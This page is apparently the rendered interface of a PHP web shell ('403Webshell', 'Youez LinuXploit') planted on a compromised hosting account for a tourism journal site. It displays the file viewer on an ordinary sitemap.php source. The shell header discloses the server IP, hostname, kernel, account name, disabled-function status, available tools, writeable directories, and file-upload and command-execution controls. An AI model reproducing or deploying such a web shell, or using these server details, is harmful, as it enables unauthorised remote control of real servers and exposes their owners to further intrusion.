403Webshell
Server IP : 192.169.170.185  /  Your IP : 216.73.216.97
Web Server : Apache
System : Linux p3plmcpnl495852.prod.phx3.secureserver.net 4.18.0-553.52.1.lve.el8.x86_64 #1 SMP Wed May 21 15:31:29 UTC 2025 x86_64
User : akhilnew ( 1712764)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhilnew/public_html/tourismjournal.net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhilnew/public_html/tourismjournal.net/sitemap.php
<?php
require_once('inc/config.php');
header('Content-Type: application/xml; charset=utf-8');

$baseUrl = rtrim($baseurl, '/') . '/';

function fetchYears($specialFlag)
{
	global $mysqli;

	$stmt = $mysqli->prepare("SELECT DISTINCT year FROM archives WHERE specialissue = ? ORDER BY year ASC");
	$stmt->bind_param('s', $specialFlag);
	$stmt->execute();
	$stmt->store_result();
	$stmt->bind_result($year);
	$years = [];
	while ($stmt->fetch()) {
		$years[] = $year;
	}
	$stmt->close();
	return $years;
}

echo '<?xml version="1.0" encoding="UTF-8"?>', "\n";
echo '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">', "\n";

// page sitemap
echo "  <sitemap>\n",
     "    <loc>{$baseUrl}sitemap_page.xml</loc>\n",
     "  </sitemap>\n";

// archives per year
foreach (fetchYears('N') as $yr) {
    echo "  <sitemap>\n",
         "    <loc>{$baseUrl}sitemap_archives_{$yr}.xml</loc>\n",
         "  </sitemap>\n";
}

// special-issue per year
foreach (fetchYears('Y') as $yr) {
    echo "  <sitemap>\n",
         "    <loc>{$baseUrl}sitemap_specialissue_{$yr}.xml</loc>\n",
         "  </sitemap>\n";
}

echo '</sitemapindex>', "\n";

Youez - 2016 - github.com/yon3zu
LinuXploit